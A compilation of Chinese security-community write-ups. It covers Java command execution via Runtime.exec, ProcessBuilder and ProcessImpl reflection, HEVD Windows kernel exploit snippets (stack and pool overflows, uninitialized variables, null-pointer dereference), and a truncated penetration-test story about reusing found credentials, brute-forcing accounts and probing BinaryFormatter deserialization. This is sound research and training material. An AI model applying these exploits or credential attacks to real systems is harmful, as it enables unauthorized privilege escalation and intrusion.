xxx>test.txt”，会被分割会”echo”和”xxx>test.txt”，然后第一部分的”echo”会被当成启动的执行模块，然而在window的系统环境变量中是找不到这个启动模块的（可以在cmd中输入命令“where
echo”进行测试）,所以运行后才会抛出文章一开始的“系统找不到指定文件”错误。
知道了问题所在，解决办法的思路就比较清晰了，可以把cmd做为启动的指定模块，然后以运行批处理的方式来达到命令执行，要以这样的方式的话就必须启动命令解释器，就是在批处理的语句前面加上”/c”,最终的命令应该为“cmd
/c echo xxx>test.txt”。
我们通过IDEA的调试器来测试一遍：
OK，这回没有抛出其他错误了，在本地的项目位置在找到了新创建的test.txt文件
## ProcessBuilder
先简单了解下ProcessBuilder这个类，ProcessBuilder类是J2SE
1.5在java.lang中新添加的一个新类，此类用于创建操作系统进程，它提供一种启动和管理进程（也就是应用程序）的方法。在J2SE
1.5之前，都是由Process类处来实现进程的控制管理。
来看看是该类怎么完成命令执行的，比如执行ipconfig命令：
Process p = null;
// 执行ipconfig /all命令
p = new ProcessBuilder("cmd", "/c ipconfig /all").start();
byte[] b = new byte[1024];
int readbytes = -1;
StringBuffer sb = new StringBuffer();
// 读取进程输出值
InputStream in = p.getInputStream();
try {
while ((readbytes = in.read(b)) != -1) {
sb.append(new String(b, 0, readbytes));
}
} catch (IOException e1) {
} finally {
try {
in.close();
} catch (IOException e2) {
}
}
System.out.println( sb.toString());
}
至于 `p = new ProcessBuilder("cmd", "/c ipconfig
/all").start();`这里为什么要在`ipconfig`前面加`/c`，在前面的Runtime类的调试中已经有解释了，这里就不再重复，这里主要是记录学习下ProcessBuilder这个类。
前面已经说过，在J2SE 1.5之前，都是由Process类处来实现进程的控制管理，那为什么还要ProcessBuilder这个类呢？区别又在哪？
其实区别在于两个类的性质就不一样了，process类是一个抽象类，要创建一个进程的话，一般是通过Runtime.exec()和ProcessBuilder.start()来间接创建其实例，而ProcessBuilder是一个final类，有两个带参数的构造方法，可以通过构造方法来直接创建ProcessBuilder的对象，并且ProcessBuilder为进程提供了更多的控制，例如，可以设置当前工作目录，还可以改变环境参数，可以说ProcessBuilder类是process类的一个扩展和包装。
还有个问题，就是Runtime.exec()和ProcessBuilder.start()有什么区别呢？
从前面我们知道，Runtime.exec()有六种重载方法，在传入命令参数时，其中java.lang.Runtime.exec(String)可以接受单一字符串参数，也可以接受其他字符串数组等参数，而ProcessBuilder.start()是通过构建方法传入后才调用start()方法,但ProcessBuilder类构造函数只接受字符串的varargs数组或`List`的字符串，其中数组或列表中的每个字符串都被假定为单个参数。
所以最关键的区别是，同个字符串参数对于ProcessBuilder类和Runtime类的命令执行结果来说是不同的，举个例子，比如同样是执行命令“ipconfig
/all”
传入Runtime类的exec方法后，之后会先把“ipconfig
/all”以空格隔开分为两部分，第一部分的“ipconfig”会作为启动模块，第二部分的”/all“作为第一部分的命令行参数，而ipconfig模块在我的系统环境是存在的，如下：
同样可以正常命令执行，没什么问题
到了ProcessBuilder类这里，同样的“ipconfig /all”传进来的话就抛出错误
这是因为ProcessBuilder类把整个“ipconfig
/all”都标记化了，在后面的调用中会把这整一串都当做启动模块的名字寻找，而我本地系统中肯定是不存在，所以就会抛出“系统找不到指定文件”的错误。
看到ProcessBuilder#start方法的代码来会更好理解
prog变量获取的是cmdarray[0]，在后面的调用中，cmdarray[0]可以理解为就是作为启动模块的值来调用，再看到后面ProcessImpl类构造方法的代码就很清晰了
这里的executablePath就是cmdarray[0]，也就是字符串”ipconfig
/all”，这样一来肯定是找不到对应启动模块的，于是就抛出了上述错误。
知道了原因就比较好解决了，把”ipconfig /all”先分开来再以varargs数组或`List`的字符串形式传入就可以了，如下：
Process p = null;
// 执行ipconfig /all命令
p = new ProcessBuilder("ipconfig","/all").start();
### ProcessImpl
ProcessImpl类是Process抽象类的实现类，主要就是实现了Process类的waitFor、destory等等进程关键操作方法。
ProcessImpl类需要值得注意的就是它没有共有构造方法，只有一个private类型的方法，所以是不能直接实例化ProcessImpl类的，虽然我们不能直接new一个ProcessImpl，但是可以利用反射去调用非public类的方法，如下：
String[] cmds = {"ipconfig","/all"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", new String[]{}.getClass(), Map.class,String.class,ProcessBuilder.Redirect[].class,boolean.class);
method.setAccessible(true);
InputStream ins = ((Process) method.invoke(null,cmds,null,".",null,true)).getInputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int size;
while((size = ins.read(bytes)) > 0)
bos.write(bytes,0,size);
System.out.println(bos.toString());
## 总结
这次简单调试分析了下java.lang.Runtime#exec()、java.lang.ProcessBuilder#start()、java.lang.ProcessImpl#start()这三种java命令执行的方法，也多了点对这几个类之间关系的理解，若文中有什么错误的地方，望师傅们多多斧正。
## Reference
<https://s.yam.com/ddxhQ>
<http://www.lmxspace.com/2019/10/08/Java%E4%B8%8B%E5%A5%87%E6%80%AA%E7%9A%84%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/> | 社区文章 |
## 前言
Hello, 这是`windows kernelexploit`的第七篇, 也是这个阶段性的最后一篇. 接下来我想做一些挖洞的工作.
所以可能分析性的文章就暂时更新到这里(并不, 只是投入的时间占比可能会更少一些).
这一篇主要涉及一些我自己对挖洞的思考, 来源于学习过程的积累. 但是都是自己总结, 没有科学依据. 所以我一直挂在自己的博客, 没有外放.
后来想着校内分享就给老师了... 师傅和我说一个系列的希望可以在先知留给备份, 所以就又放上来了. 唔, 虽然是一些很笨的方法,
但是希望师傅们能够给我提供更多的意见. 感激不尽.
我记得两个月前我开始了我的内核学习道路, 于是我开始学习师父给我的HEVD的文章来看. 在学习了UAF这一篇之后, 就把这个系列给放弃了.
因为觉得还是直接做cve的分析比较具有挑战性.
我记得我的第一篇文章是关于HEVD的, 当时第一次实现了堆喷的时候, 开始惊讶于这个世界的神奇. 所以这样想来也好, 从HEVD开始. 也从HEVD结束.
当然, 提到HEVD, 得感谢rootkits的杰出工作. 让我放弃了c++走向了python的美满人生(并没有, c++是我和我最后的倔强).
还有一些balabala的人(很重要的), 由于我不是写获奖感言. 所以就不一一列举了.
由于rootkit的分析已经做的很棒了, 所以我不会对于每一个做出详细的解释, 而是给出概括性的利用总结.在这篇文章当中, 给出的内容如下:
[+] HEVD的各个漏洞利用的思路
[+] 通过HEVD总结windows内核漏洞利用.
[+] 探讨内核的学习之路的一些绕弯的地方
[+] 关于挖洞的推测
我比较想聊的是第二个和第三个话题, 如果你看过我以前的博客的话, 你会发现我就是一个菜鸡, 所以和往常一样. 这些都是我自以为是的结论. 不算教程.
如果你在学习过程中发出和我一样的感受的话. 那实在是一件很幸运的事情. 至于第四个点, 算是一些民科的行为, 基于HEVD给出的信息,
想探讨一些对之后挖洞可能会有帮助性的思路. 在之后的道路我会验证他并更新第四部分.
文章所有的代码实现你可以在我的github上面找到, UAF和write-what-where会有详细的文章解释, 所以就不再贴出来.
## 各个漏洞的总结
### 栈溢出
##### 关键代码段:
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); // 这里
#endif
#### 利用思路:
[+] 覆盖0x824(ebp-0x81c)的数据, 偏移0x820处写入shellcode
[+] ret时候覆盖eip, 执行shellcode
##### 爬坑点:
[+] 恢复堆栈平衡(rootkits):
[+] 找到shellcode的ret处, 观察当前堆栈. 执行pop, add esp, 之类的操作恢复平衡.(这一部分需要注意的是, 比起静态分析, 动态调试可以帮助你节省很多时间)
[+] user space算出内核基地址
[+] 算出ret 地址偏移XXXX
[+] mov [esp], xxx.
==> 你可以参考我的内核系列的第二篇文章.
##### 假设比较
[+] 开发者假设: 由userbuf到kernelbuf的复制功能实现完整
[+] 攻击者假设: 开发者开发的功能当中开发者可能出现失误造成漏洞点.
[+] ==> who: 开发者失误
##### exp关键代码段
VOID runYourShellCode()
{
const int orignalLength = 0x800;
const int overflowLength = 0x20;
DWORD lpBytesReturned = 0;
char buf[orignalLength + overflowLength+4];
memset(buf, 0x41, orignalLength + overflowLength+4);
*(PDWORD32)(buf +orignalLength + overflowLength) = (DWORD32)&shellCode; // rip
// 执行shellcode
// 任务: 计算偏移地址
DeviceIoControl(hDevice, STACK_OVERFLOW_NUMBER, buf, orignalLength + overflowLength + 4, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆盖header
}
### 未初始化栈变量
##### 关键代码段
#ifndef SECURE
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif
// Call the callback function
if (UninitializedStackVariable.Callback) {
UninitializedStackVariable.Callback(); // 这里
}
}
##### 利用思路
[+] 利用stack spray控制堆栈中的残留数据
==> stack spray: https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/
[+] 未初始化的栈变量(UninitializedStackVariable)使用的值是堆喷残留的数据. 运行下面的语句, 执行shellcode
==> UninitializedStackVariable.Callback();
##### 爬坑点
[+] stack spray
[+] 理论性的计算stack spray的变化对我来说实在是一件枯燥的事
==> 采用OD或者windbg观察程序堆栈类似`add esp, 8`之后, 堆栈的相关信息
==> 动态调试用于堆喷射的函数NtMapUserPhysicalPages运行过程中堆栈的变化
##### 假设比较
[+] 开发者假设: 使用UninitializedStackVariable功能实现完整
[+] 攻击者假设:
==> 开发者没有正确对变量A赋值初值.
==> 利用系统特性. 可以对A的初值进行预判性的赋值
==> 利用后面代码. 可以执行shellcode
[+] ==> who: 开发者+系统特性
##### exp:
[+] 关键代码段:
VOID exploitToRunYourShellCode()
{
DWORD lpBytesReturned = 0;
char buf[5] = {};
*(PDWORD32)(buf) = 0xBAD0B0B0 + 12; // not magic value
NtMapUserPhysicalPages_t NtMapUserPhysicalPages =(NtMapUserPhysicalPages_t)GetProcAddress(GetModuleHandle("ntdll"), "NtMapUserPhysicalPages");
if (MapUserPhysicalPages == NULL)
{
std::cout << "[+] Get MapUserPhysicalPages failed!!! " << GetLastError() << std::endl;
return;
}
// j00ru给的数据
// 只要把它全部变为shellcode的地址就可以了
PULONG_PTR sprayBuf = (PULONG_PTR)malloc(1024 * 4);
memset(sprayBuf, 0x41, 1024 * 4);
for (int i = 0; i < 1024; i++)
{
*(PDWORD)(sprayBuf + i) = (DWORD)&shellCode;
}
NtMapUserPhysicalPages(NULL, 0x400, sprayBuf);
DeviceIoControl(hDevice, UNINITIAL_STACK_VARIABLE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆盖header
}
### 未初始化堆变量
##### 关键代码段:
[+] c
#ifdef SECURE
else {
DbgPrint("[+] Freeing UninitializedHeapVariable Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG);
// Secure Note: This is secure because the developer is setting 'UninitializedHeapVariable'
// to NULL and checks for NULL pointer before calling the callback
// Set to NULL to avoid dangling pointer
UninitializedHeapVariable = NULL;
}
#else
// Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
// because the developer is not setting 'Value' & 'Callback' to definite known value
// before calling the 'Callback'
DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
#endif
// Call the callback function
if (UninitializedHeapVariable) {
DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);
// 这里
UninitializedHeapVariable->Callback();
}
}
##### 利用思路
[+] 利用堆喷控制堆中残留的数据
[+] 触发漏洞, 使其重复使用上一次释放的堆
[+] 利用程序的后面逻辑实现利用
##### 爬坑点
[+] list head:
[+] target
##### 假设比较
[+] 开发者假设: callback功能实现完成
[+] 攻击者假设: 开发者未对数据进行合理的赋值, 可以利用系统特性控制数据实现利用
[+] who: 开发者失误+系统特性
##### exp
[+] 关键代码段
VOID poolFengShui()
{
WCHAR lpszName[0xf0 / 2] = {};
memset((char*)lpszName, 'A', 0xf0);
// 分配大量的0x256个pool
for (int i = 0; i < 256; i++)
{
*(PDWORD)((char*)lpszName + 0x4) = (DWORD)&shellCode;
*(PDWORD)((char*)lpszName + 0xf0 - 4) = i;
*(PDWORD)((char*)lpszName + 0xf0 - 3) = i;
*(PDWORD)((char*)lpszName + 0xf0 - 2) = i;
*(PDWORD)((char*)lpszName + 0xf0 - 1) = i;
spray_event[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpszName); // 分配0xf0+0x8(header)的pool
}
for (int i = 0; i < 256; i++)
{
CloseHandle(spray_event[i]);
i += 4;
}
// 分配完毕
}
VOID exploitToRunYourShellCode()
{
DWORD lpBytesReturned = 0;
char buf[5] = {};
*(PDWORD32)(buf) = 0xBAD0B0B0 + 12; // not magic value
// 堆喷数据
poolFengShui();
DeviceIoControl(hDevice, UNINITIAL_HEAP_VARIABLE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆盖header
}
### pool oveflow
##### 关键代码段:
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Paged Pool Session Overflow\n");
// Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
RtlCopyMemory(KernelBuffer, UserBuffer, Size); // 这里
#endif
##### 利用思路:
[+] 利用堆喷留下合适的0x200大小的数据
[+] 0页分配, shellcode地址放在0x60处
[+] 构造数据使溢出后的数据足以把typeinfo值为0,
[+] 调用closeHandle时候调用shellcode
##### 爬坑
[+] 堆喷的时候合理控制空隙
##### 假设比较
[+] 开发者假设: callback功能实现完成
[+] 攻击者假设: 开发者未对数据进行合理的校验, 可以利用系统特性控制数据实现利用
[+] who: 开发者失误+系统特性
##### exp关键代码
// 使用CreateEvent API去控制风水布局
VOID poolFengShui()
{
// 分配大量的0x40个pool
for (int i = 0; i < 0x1000; i++)
spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL); // 0x40
// 0x40 * 8 = 0x200
for (int i = 0; i < 0x1000; i++)
{
for(int j = 0; j < 0x8; j++)
CloseHandle(spray_event[i+j]);
i += 8;
}
// 分配完毕
}
VOID exploit()
{
const int overLength = 0x1f8;
const int headerLength = 0x28;
DWORD lpBytesReturned = 0;
char buf[overLength+headerLength];
memset(buf,0x41 ,overLength+headerLength);
// 伪造利用的数据
// 伪造typeInfo. 使其为0x00
*(DWORD*)(buf + overLength + 0x00) = 0x04080040;
*(DWORD*)(buf + overLength + 0x04) = 0xee657645;
*(DWORD*)(buf + overLength + 0x08) = 0x00000000;
*(DWORD*)(buf + overLength + 0x0c) = 0x00000040;
*(DWORD*)(buf + overLength + 0x10) = 0x00000000;
*(DWORD*)(buf + overLength + 0x14) = 0x00000000;
*(DWORD*)(buf + overLength + 0x18) = 0x00000001;
*(DWORD*)(buf + overLength + 0x1c) = 0x00000001;
*(DWORD*)(buf + overLength + 0x20) = 0x00000000;
*(DWORD*)(buf + overLength + 0x24) = 0x00080000; // key fake here
/*
* [+] (TYPEINFO 为0x00)伪造0x60, 覆盖函数指针使其执行shellcode
*/
PVOID fakeAddr = (PVOID)1;
SIZE_T MemSize = 0x1000;
*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
return ;
}
std::cout << "[+]" << __FUNCTION__ << std::endl;
if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
&fakeAddr,
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || fakeAddr != NULL)
{
std::cout << "[-]Memory alloc failed!" << std::endl;
return ;
}
*(DWORD*)(0 + 0x60) = (DWORD)&shellCode; // change为shellcode地址
poolFengShui();
DeviceIoControl(hDevice, POOL_OVERFLOW_NUMBER, buf, overLength+headerLength, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆盖header
}
### 空指针
##### 关键代码
[...]
NullPointerDereference = NULL; // here
}
#ifdef SECURE
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
if (NullPointerDereference) {
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
NullPointerDereference->Callback(); // here
#endif
##### 利用思路
[+] 构造合理数据, 使其分配0页
[+] 触发漏洞执行shellcode
##### 爬坑点
[+] 分配内存页
if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
&fakeAddr, //==> 这个地方别赋值为NULL(0), 否则系统会自动分配地址(请参考MSDN)
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || fakeAddr != NULL)
{
std::cout << "[-]Memory alloc failed!" << std::endl;
return ;
}
##### 假设比较
[+] 开发者假设: callback功能实现完成
[+] 攻击者假设: 开发者未对数据进行合理的校验, 可以利用系统特性控制数据实现利用
[+] who: 开发者失误+系统特性
##### exp关键代码
VOID exploitToRunYourShellCode()
{
DWORD lpBytesReturned = 0;
char buf[5] = {};
*(PDWORD32)(buf) = 0xBAD0B0B0+12; // not magic value
// 执行shellcode
// 任务: 计算偏移地址
*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
return;
}
PVOID fakeAddr = (PVOID)1;
SIZE_T MemSize = 0x1000;
std::cout << "[+]" << __FUNCTION__ << std::endl;
if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
&fakeAddr,
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || fakeAddr != NULL)
{
std::cout << "[-]Memory alloc failed!" << std::endl;
return;
}
*(DWORD*)(0 + 0x4) = (DWORD)&shellCode;
DeviceIoControl(hDevice, NULL_POINTER_DEFERENCE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆盖header
}
## 从HEVD引发的内核漏洞学习的思考
##### 难度比较
前段时间在做DDCTF的时候, 我就有了把HEVD的这个重新写一下的想法. 对比一下他们的不同之处. HEVD这个, 我写完的时间花了三个小时(stack
spray第一次学习, 在那里卡了一会). 所以还是蛮简单的. 所以我想先讲一下HEVD和我自己学习的CVE的不同. 来看看对内核学习有什么有用的信息.
###### 分析代码
HEVD:
[+] HEVD的代码网上有给出相应的c代码, 你可以不用无脑去逆向. 可以直接阅读源码. 进行触发. 并很容易的根据相应的程序逻辑构造合理的数据进行利用.
CVE:
[+] 这几个当中, 以我目前来看分析代码的逻辑才是最难的一部分.
==> 你得确定漏洞的触发点 --> 得有代码的逻辑分析能力
==> 你得确定调用怎样的合适的API, 各个参数放怎样的数据才是合理的. --> 对windows编程要有相应的熟悉.
CVE的学习, 如果你做过1day的比较之后, 你会发现. 定位漏洞点其实借助于其他的小技巧(比如补丁比较)可能没有那么难.
但是触发了漏洞之后利用函数里面的哪一段数据才能合理的实现利用我觉得是更难的部分. 因为很容易迷失在此中. 所以我做的过程当中面对这个问题的解决方案是:
[+] xref触发漏洞逻辑
[+] 利用调试去做与补丁比较反方向的事, 验证判断
[+] 构建POC
==> 确定漏洞的相关内核数据类型, 如果前辈们已经做过了. 就直接参考前辈的经验
==> 如果没做过:
==> 结合windows nt4泄露源码实现逆向
==> 动态调试, 对比哪些数据被污染了(如果这一部分做得好的话, 甚至可以不用逆向)
##### 开发难度
HEVD:
[+] HEVD的利用github上面有很多很多, 如果你不会的话你可以参考其他人的代码与教程学习
[+] HEVD对数据的操控十分简单. 大多数数据都是连续的(你可以覆盖可控数据的n个byte)
CVE:
[+] 很多CVE的利用在网上都没有push出相应的源代码, 得自己游离于google的开发平台做相应的资料搜集.
[+] 大多数漏洞操纵的数据都是有限的, 而且很容易写原语残缺(可以参考我的第二篇文章)
[+] 缓解措施问题: 针对各个平台, 有形形色色的缓解措施等着你. 其中的绕过让人头疼不已.
我一度困扰于缓解措施和各种绕过, 所以对于此, 我做了下面的解决方案.
[+] 寻求一种通用性的方法: 直接替换system token和current process token. 这种方法能够实现内核提权, 你只需要绕过KASLR. 以及获取相应的读写权限即可
[+] 多读以前的漏洞, 看看前辈们如何解决写原语残缺.
==> 控制关键数据结构体, 获取更优秀的读写能力
[+] 在github上面更新了(目前更新到了rs3)漏洞利用的合集, 保证我在各个平台上至少掌握一种方法可利用.
## 一些自己内核学习的过程中绕弯的地方
### 贫穷
这一部分其实没有开玩笑, 在我早期的学习过程中. 我用着我的4G的笔记本. 同时开着两三个虚拟机. 然后电脑天天处于爆炸的状态. 十分影响学习的效率.
所以如果可以的话, 尽量使用性能比较好的电脑. 好的工具会让你事半功倍.
### 理论分析与调试分析
我做的最难受的洞应该是[cve-2017-0263](https://xiaodaozhi.com/exploit/71.html),
因为那是小刀师傅的博客上面做的是一篇十分详细的分析. 所以我觉得应该是蛮简单的, 但是我当时差不多花了一个星期左右在上面, 因为我走错了重点.
小刀师傅的博客上面有对每一个控件的原理相关的数据变量都做详细的分析, 能做到此是基于其强大的内功. 他熟悉windows的管理细节,
以及内核结构的实现思路. 这一部分是需要经验的积累的. 然而初入内核的我是根本不可能有内功这种东西的. 所以我做的最大的错误就是让自己陷入知识的海洋当中.
后来的解决方案是我开始从exp入手, 定位相应的关键代码段.然后记住关键的代码信息, 完成了那个漏洞的理解分析.
所以我们可以牵涉到另外一个东西. 我在学习的过程当中, 一开始翻阅了大量的paper, 光是blackhat的演讲paper就搜集了一大堆,
但是经常看着看着就忘了. 大概自己实在是一个不擅长寄东西的人.所以我开始对paper做了另外一个十分的定义. 字典. 哪里不会点哪里.
学堆喷的时候去参考11年的pool, feng shui的时候去看13的paper. 在重复的查阅当中. 获取更深的理解.
## 关于挖洞的探讨.
依然想首先讲出, 我还没有开始挖洞, 所以这一部分的东西只是我下一步的工作的主体思路. 在后期当中我会更新变改正.
##### 开发者失误
在前面的过程当中. 我对每一个类型的洞都给了相应的背锅归属, 我把pool overflow, stackoverflow归类于开发者背锅.
然而微软的老师们都是很厉害的存在, 所以我觉得想去挖这种类型的洞概率还是挺小的. 如果说有的话, 应该是在相应的比较老的源码当中.
在那个时候微软还是良莠不齐, 以及大家并不注重安全的年代我觉得漏洞可能存在. 所以相应的思路是:
[+] 比较古老的windows和现有的windows(bindiff)
[+] 重点观测未更改的函数
==> 留意核心功能的函数, 攻击面广.
##### 系统特性
这一部分的挖洞是我最想做的. 做CVE和HEVD的分析的时候, 一般我都会去尝试假设如果自己实现这份源码会去怎么实现.
最终得出的结论是我可能在`整数溢出+UAF模式的回调攻击`这两个个类型的洞会百分百命中.
###### 整数溢出
`整数溢出`的漏洞其实我觉得锅是不应该给开发者的, 寄存器的局限性和语言的局限性导致了这个漏洞的出现. 正常人的思路应该是`FFFFFFFF+1=1
0000 0000`, 然而由于局限性的出现, 结果变为了`0`, 所以我觉得由`人的惯性思维`去入手. 应该会有不错的收获. 所以在下面的学习当中.
我会主要关注于整数溢出的漏洞挖掘.
目前的大概思路是:
[+] 寻找最新的补丁
[+] 使用IDA python完成相应的代码搜索. 过滤条件:
==> PALLOCMEM
==> without: ULongLongToLong
###### UAF攻击
`UAF`的漏洞也应该是由系统特性来背锅. 因为在设计方面, 使用用户回调来与user space的相关数据实现交互可以极大的提高效率.
引发了潜在的安全问题. 在微软最开始的设计当中, 应该对于这一部分的考虑挺少的. 所以我觉得这一部分的洞可能比`整数溢出`漏洞更多一些.
但是不做这一方面的原因是, 手工寻找此类型的漏洞可能过于痛苦. 所以我得去学一点`fuzz`的知识. 那也是一个漫长的过程. 所以先慢慢来.
目前的大概思路是:
[+] 学习fuzz
[+] 构建好的策略
## 相关链接
==> 北归姐的个人博客: www.baidu.com(北归姐的博客不开放. 所以先占位)
==> sakura师父的个人博客: http://eternalsakura13.com/
==> 小刀师傅的博客: https://xiaodaozhi.com/(小刀师傅拥有着我所有想要的优点)
==> rootkits老师的博客: https://rootkits.xyz/(入门的良心材料)
==> j00ru: https://j00ru.vexillium.org/(我的偶像, 我能做到的只是这副皮囊比偶像帅一点(逃), 其他的还有很长的距离去赶)
==> alex: http://www.alex-ionescu.com/(一个非常厉害非常厉害的老师. 学windows内核内功方面的字典)
==> NCC group: https://www.nccgroup.trust/us/(发布的paper有很强的研究意义)
==> coresecurity: https://support.coresecurity.com/hc/en-us(发布的paper有很强的研究意义)
==> sensepost: https://sensepost.com/(发布的paper有很强的研究意义)
==> awesome kernel: https://github.com/ExpLife0011(一份相当有用的资料来源地. explife老师帮忙节省了很多找资料的细节)
==> blackhat: https://www.blackhat.com/(有很多的paper, 大量的最新的研究)
==> k0keoyo: https://github.com/k0keoyo(在老师的github上面学到很多.)
==> 我的博客地址: https://www.redog.me/
## 后记
内核系列分析的文章到这里告一段落. 十分感谢你阅读完这些又长又丑的文章(假装自己的博客有人看的样子). 希望能够对你有所帮助.
做这个系列的目的是, 在我学习的过程中, 阅读了大量的前辈们的文章, 他们把windows的闭源变成了开源. 所以我觉得很酷. 我也想做这样的事.
另外一个方面, 自己的学习过程当中实在是一个相当愚蠢的过程, 犯了大量的错误, 所以想把自己犯的错给贴出来. 如果能够帮助你避免重复犯错实在是幸运的事.
最后, wjllz是人间大笨蛋. | 社区文章 |
很久之前黑盒挖到的一个漏洞，过程比较有意思。
前置知识:
https://xz.aliyun.com/t/9168
https://xz.aliyun.com/t/9591
https://xz.aliyun.com/t/9593
https://xz.aliyun.com/t/9592
https://xz.aliyun.com/t/9594
https://xz.aliyun.com/t/9595
https://xz.aliyun.com/t/9597
https://xz.aliyun.com/t/9598
https://xz.aliyun.com/t/9599
https://xz.aliyun.com/t/9600
https://xz.aliyun.com/t/9601
https://xz.aliyun.com/t/9602
https://xz.aliyun.com/t/9603
https://xz.aliyun.com/t/9604
https://xz.aliyun.com/t/9605
懒得挨个点开可以直接查看主页:
https://xz.aliyun.com/u/12258
Y4er的文章应该全文背诵.
### 0x01 起
拿到一个压缩包,里面有个客户端程序但根本不敢运行,怕被反打被钓鱼,所以只是翻了翻程序运行配置和日志,配置中找到一组账号密码,有加密但是估计问题不大,如果账号密码正确直接运行应该是可以登录的。环境有些恶劣,物理机本身都卡装虚拟机运行肯定是不现实的,只得先拖进`PEID`查一下看看是什么程序,研究一下密码明文能不能解出来,没准其他地方也能用。
拖进`PEID`的时候意外发生了,不小心点了一下导致程序运行了。看到登录框有账号密码虽然验证了猜想,但运行是件非预期的事情,赶紧关闭,然后拖进360杀毒扫了一下,有两个`dll`报毒...那种恐慌感至今记忆犹新。排查计划任务排查进程删敏感文件,一套操作下来仍不放心,就差关机换机器了。
所幸后续在VT查出报毒的两个`dll`都是多年前就被标记的,显然不可能是为了当前场景准备的水坑,逆向看代码也未找到什么可疑的代码段,故正常运行,账号也确实可登陆,权限为某部们下的管理员,可查看该部门下所有员工的信息以及跳转认证到一些其他系统,相关功能及站点未发现可`getshell`的点,该部门也和推断的管理目标的部门有些远,已知了账号规律和默认密码,故希望爆破获取到权限更高一些的账号,方便查看更多的信息,登录更多的系统。
### 0x02 承
抓包发现流量是有加密的,无法直接爆破,需要解决加密问题。
**代码分析:**
根据登录按钮的文字提示定位到对应的点击事件:
点击后会判断账号密码验证码这些是否为空,然后进入登录事件`OnLoginEvent`
往下继续跟会发现比较有意思的点是它没有直接传递输入框中拿到的值,而是塞进`UserInfo`里,再调用`SendLoginMsg`方法进一步处理
继续套娃,将`UserInfo`塞到`MsgSysInfo`再调`zip`的对象中`GetBuffer`方法去处理最后交个给`Login`方法,看到这初步怀疑程序可能有问题,就算没有直接传递相关值,那到最后发送相关的处理前应该要转成`json`之类的才符合预期。
`zip`和`dh`是分别在构造方法及其调用的`Init`方法中初始化完成,前者里面的相关方法主要是数据压缩加密,后者是数据发送。
先看被调用的`YYSharpZip`中的`GetBuffer`方法,调用顺序如下图所示,`GetZipBuffer`方法在压缩之前先调`BinaryFormatter`对传入的对象进行了序列化操作,完了再去调加密方法`EncryptData`进行数据加密。
客户端对数据处理的过程中有序列化的操作,那服务端接受到数据后必然有反序列化的操作,盲猜有洞,整理调用流程如下:
this.btnLogin_Click --> this.OnLoginEvent() --> this.SendLoginMsg() --> this.zip.GetBuffer() --> this.ZipData() --> this.GetZipBuffer() --> new BinaryFormatter().Serialize() --> this.CompressToByte() --> new YYEncrypt().EncryptData() --> this.dh.Login()
盲猜服务器处理逻辑流程如下:
XXX.MsgReceive --> new YYEncrypt().DecryptData-->this.DeCompressToBytes --> new BinaryFormatter().Deserialize() --> this.msgSysInfo.getLoginInfo() --> XXX
漏洞验证逻辑应当如下:
